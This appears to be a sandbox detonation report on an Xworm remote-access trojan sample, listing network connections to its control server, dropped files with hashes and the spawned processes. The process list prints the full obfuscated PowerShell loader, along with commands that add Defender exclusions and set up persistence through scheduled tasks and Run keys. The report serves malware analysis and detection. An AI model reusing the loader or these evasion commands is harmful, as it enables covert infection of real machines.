| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| US | 8.8.8.8:53 | 215.143.182.52.in-addr.arpa | udp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
Files
memory/2340-0-0x00007FFFEF2A3000-0x00007FFFEF2A5000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hbjykdgo.yue.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2340-10-0x0000021EB3CE0000-0x0000021EB3D02000-memory.dmp
memory/2340-11-0x00007FFFEF2A0000-0x00007FFFEFD61000-memory.dmp
memory/2340-12-0x00007FFFEF2A0000-0x00007FFFEFD61000-memory.dmp
memory/2340-13-0x0000021EB3CD0000-0x0000021EB3CD8000-memory.dmp
memory/2340-14-0x0000021EB3F10000-0x0000021EB3F4C000-memory.dmp
memory/4000-16-0x00007FFFEF2A0000-0x00007FFFEFD61000-memory.dmp
memory/4000-26-0x00007FFFEF2A0000-0x00007FFFEFD61000-memory.dmp
memory/4000-27-0x00007FFFEF2A0000-0x00007FFFEFD61000-memory.dmp
memory/4000-30-0x00007FFFEF2A0000-0x00007FFFEFD61000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | ee6f5f5e5924783870aeedeccdafe9da |
| SHA1 | 0e12ede20df5ec37f2bf3608ad1bc9b4649450fd |
| SHA256 | ebf215446a1b5afa86e8ba4316bc99c6d7918acd595786a31e0e5974f4e0f416 |
| SHA512 | 998bad1b069cb0e7a57edef247421e5d5bc0b4f071bd16e4260367e86ac62053168204abc850365bf6eb4f41b32568bea99eb9afda60e7746eff37e604cbe61f |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 661739d384d9dfd807a089721202900b |
| SHA1 | 5b2c5d6a7122b4ce849dc98e79a7713038feac55 |
| SHA256 | 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf |
| SHA512 | 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8 |
C:\Users\Admin\AppData\Roaming\startup_str_165.vbs
| MD5 | 9b398aa360abc96ba6bef75f23b7b0b6 |
| SHA1 | 3a71056551db5f172a3c01483089f406a2ae3a63 |
| SHA256 | f7bfb7d3a443b1ad109c4e517b62c4f92c5e49dbd7d7ab738a7fe198e54f2a8a |
| SHA512 | 9714fea18dec88a9fdd9175e6f8a4dfd1208d1a7fca98826b1262cc3a3b3a1a49c49a9a1f2eed9e7035571474f094afcd6ebdbef561896afa1a3d3bc3bdf7d06 |
C:\Users\Admin\AppData\Roaming\startup_str_165.bat
| MD5 | 0df87c21c846f4ad6db596238e9ef503 |
| SHA1 | 255c312dd6eeebf721f4885b0b23a6ca93a8695b |
| SHA256 | 4834211e93e75693c4160a7330bcda21b24edd87a84f10a8505a6dc9ba33ff8b |
| SHA512 | 00eb13d025ee21296c62214e62cc459878a5254153b3059758e819c8e1e89af06262224a3ca5008c920c97239513844739d3d2d53d49ab062badecb9d21e98f9 |
memory/5068-49-0x000002D834B30000-0x000002D834B4E000-memory.dmp
memory/2340-50-0x00007FFFEF2A0000-0x00007FFFEFD61000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 6d42b6da621e8df5674e26b799c8e2aa |
| SHA1 | ab3ce1327ea1eeedb987ec823d5e0cb146bafa48 |
| SHA256 | 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c |
| SHA512 | 53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | e60eb305a7b2d9907488068b7065abd3 |
| SHA1 | 1643dd7f915ac50c75bc01c53d68c5dafb9ce28d |
| SHA256 | ad07460e061642c0dd4e7dfa7b821aacce873e290389e72f708e9f3504f9d135 |
| SHA512 | 95c45afec6fa4e0b2a21edd10a6b2dc30568810c67bc9bc34d98ab111c48261f377a370583adb27e08616b0108026c119493b1b093b52ce931117e646b46cb7b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 47605a4dda32c9dff09a9ca441417339 |
| SHA1 | 4f68c895c35b0dc36257fc8251e70b968c560b62 |
| SHA256 | e6254c2bc9846a76a4567ab91b6eae76e937307ff9301b65d577ffe6e15fe40a |
| SHA512 | b6823b6e794a2fe3e4c4ecfb3f0d61a54821de7feb4f9e3e7fd463e7fbb5e6848f59865b487dafebeac431e4f4db81ef56836d94cac67da39852c566ed34a885 |
C:\Users\Admin\$77-Powershell.exe
| MD5 | 04029e121a0cfa5991749937dd22a1d9 |
| SHA1 | f43d9bb316e30ae1a3494ac5b0624f6bea1bf054 |
| SHA256 | 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f |
| SHA512 | 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b |
memory/4596-108-0x000001F457D30000-0x000001F457D74000-memory.dmp
memory/4596-109-0x000001F4581A0000-0x000001F458216000-memory.dmp
Analysis: behavioral3
Detonation Overview
Submitted
2024-05-27 00:19
Reported
2024-05-27 00:24
Platform
win11-20240419-en
Max time kernel
299s
Max time network
295s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-Powershell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-Powershell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\$77-Powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Microsoft\Windows\CurrentVersion\Run\$77-Powershell = "C:\\Users\\Admin\\$77-Powershell.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\$77-X.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NPnNsluUEOHea797yl0tWkCC/heLAWiLpsoOb/SrKNw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fuqFtVC1XQgmsXcvgKnH8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $yhRKD=New-Object System.IO.MemoryStream(,$param_var); $GWQOX=New-Object System.IO.MemoryStream; $LqTgi=New-Object System.IO.Compression.GZipStream($yhRKD, [IO.Compression.CompressionMode]::Decompress); $LqTgi.CopyTo($GWQOX); $LqTgi.Dispose(); $yhRKD.Dispose(); $GWQOX.Dispose(); $GWQOX.ToArray();}function execute_function($param_var,$param2_var){ $yeAoI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $PIwmL=$yeAoI.EntryPoint; $PIwmL.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\$77-X.bat';$hGELm=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\$77-X.bat').Split([Environment]::NewLine);foreach ($yqNtJ in $hGELm) { if ($yqNtJ.StartsWith(':: ')) { $Xvpis=$yqNtJ.Substring(3); break; }}$payloads_var=[string[]]$Xvpis.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_566_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_566.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_566.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_566.bat" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NPnNsluUEOHea797yl0tWkCC/heLAWiLpsoOb/SrKNw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fuqFtVC1XQgmsXcvgKnH8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $yhRKD=New-Object System.IO.MemoryStream(,$param_var); $GWQOX=New-Object System.IO.MemoryStream; $LqTgi=New-Object System.IO.Compression.GZipStream($yhRKD, [IO.Compression.CompressionMode]::Decompress); $LqTgi.CopyTo($GWQOX); $LqTgi.Dispose(); $yhRKD.Dispose(); $GWQOX.Dispose(); $GWQOX.ToArray();}function execute_function($param_var,$param2_var){ $yeAoI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $PIwmL=$yeAoI.EntryPoint; $PIwmL.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_566.bat';$hGELm=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_566.bat').Split([Environment]::NewLine);foreach ($yqNtJ in $hGELm) { if ($yqNtJ.StartsWith(':: ')) { $Xvpis=$yqNtJ.Substring(3); break; }}$payloads_var=[string[]]$Xvpis.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\$77-Powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-Powershell.exe'
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "$77-Powershell" /tr "C:\Users\Admin\$77-Powershell.exe"
C:\Users\Admin\$77-Powershell.exe
C:\Users\Admin\$77-Powershell.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
Files
memory/452-0-0x00007FFF139D3000-0x00007FFF139D5000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rr1bm4zv.2pf.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/452-10-0x00007FFF139D0000-0x00007FFF14492000-memory.dmp
memory/452-9-0x0000021BB84B0000-0x0000021BB84D2000-memory.dmp
memory/452-11-0x00007FFF139D0000-0x00007FFF14492000-memory.dmp
memory/452-12-0x00007FFF139D0000-0x00007FFF14492000-memory.dmp
memory/452-13-0x0000021BB83F0000-0x0000021BB83F8000-memory.dmp
memory/452-14-0x0000021BD09D0000-0x0000021BD0A0C000-memory.dmp
memory/2276-16-0x00007FFF139D0000-0x00007FFF14492000-memory.dmp
memory/2276-25-0x00007FFF139D0000-0x00007FFF14492000-memory.dmp
memory/2276-26-0x00007FFF139D0000-0x00007FFF14492000-memory.dmp
memory/2276-27-0x00007FFF139D0000-0x00007FFF14492000-memory.dmp
memory/2276-30-0x00007FFF139D0000-0x00007FFF14492000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | df472dcddb36aa24247f8c8d8a517bd7 |
| SHA1 | 6f54967355e507294cbc86662a6fbeedac9d7030 |
| SHA256 | e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6 |
| SHA512 | 06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 5e54f42ab6b8854f7e6edc355e8f0fbb |
| SHA1 | 9fc03ac755cd6589aa9afcdfeae5064d3d1f7977 |
| SHA256 | db5fad4412115e60276fbf82ff59a5903a6a15790f0169c908a7cff44a5184ce |
| SHA512 | 165aeb30a655939bffeacecfd352812c85104df910b936f21c00d28eb00dda0b622237610d3e9940bd7205cb7243383a158e11f1a29967f0225f2e85c9f70ffb |
C:\Users\Admin\AppData\Roaming\startup_str_566.vbs
| MD5 | 9d2efe61eea4379f2eac4e1a6c7cbae1 |
| SHA1 | cc5395b910445cfa8a6eda65ad3d569395342050 |
| SHA256 | b4a4b25c4d7067ade03b650a66155f381e5bba0987394d1ba33b110e01c2dceb |
| SHA512 | 26b8cb6e9dcf104c050d304094352a7cbf4bcdf597a5736e6ad872db013ef63af160cf877df8ed48ef89cc52013547ee184756aff8b4c57e51195215e6e27da1 |
C:\Users\Admin\AppData\Roaming\startup_str_566.bat
| MD5 | 0df87c21c846f4ad6db596238e9ef503 |
| SHA1 | 255c312dd6eeebf721f4885b0b23a6ca93a8695b |
| SHA256 | 4834211e93e75693c4160a7330bcda21b24edd87a84f10a8505a6dc9ba33ff8b |
| SHA512 | 00eb13d025ee21296c62214e62cc459878a5254153b3059758e819c8e1e89af06262224a3ca5008c920c97239513844739d3d2d53d49ab062badecb9d21e98f9 |
memory/3484-48-0x000001BAD1010000-0x000001BAD102E000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | d0a4a3b9a52b8fe3b019f6cd0ef3dad6 |
| SHA1 | fed70ce7834c3b97edbd078eccda1e5effa527cd |
| SHA256 | 21942e513f223fdad778348fbb20617dd29f986bccd87824c0ae7f15649f3f31 |
| SHA512 | 1a66f837b4e7fb6346d0500aeacb44902fb8a239bce23416271263eba46fddae58a17075e188ae43eb516c841e02c87e32ebd73256c7cc2c0713d00c35f1761b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 4914eb0b2ff51bfa48484b5cc8454218 |
| SHA1 | 6a7c3e36ce53b42497884d4c4a3bda438dd4374b |
| SHA256 | 7e510fc9344ef239ab1ab650dc95bb25fd44e2efba8b8246a3ac17880ee8b69e |
| SHA512 | 83ab35f622f4a5040ca5cb615a30f83bb0741449225f1fd1815b6923e225c28241d0c02d34f83f743349a5e57f84ca1c6f44016797a93d5985be41d11be79500 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | f533b900e4f56057f3eefa14a81f1108 |
| SHA1 | 552926fe9f440dad2245ecaf3715f9a194c3424e |
| SHA256 | b26a882915e43b093fefeb4faa7ddb05efec5c669fa6491810c4b1d0eef494cb |
| SHA512 | 7f261f93cf1adf38c4ec4646164dd151409f03c0b2c9819a45d1bd63084caf7bbc8ca010745dc768f04cd3c95176a651fc583afaee921b093bee78fec521d28f |
memory/452-92-0x00007FFF139D0000-0x00007FFF14492000-memory.dmp
memory/452-93-0x00007FFF139D3000-0x00007FFF139D5000-memory.dmp
C:\Users\Admin\$77-Powershell.exe
| MD5 | 0e9ccd796e251916133392539572a374 |
| SHA1 | eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204 |
| SHA256 | c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221 |
| SHA512 | e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d |
memory/4444-103-0x00000124A6C70000-0x00000124A6CB6000-memory.dmp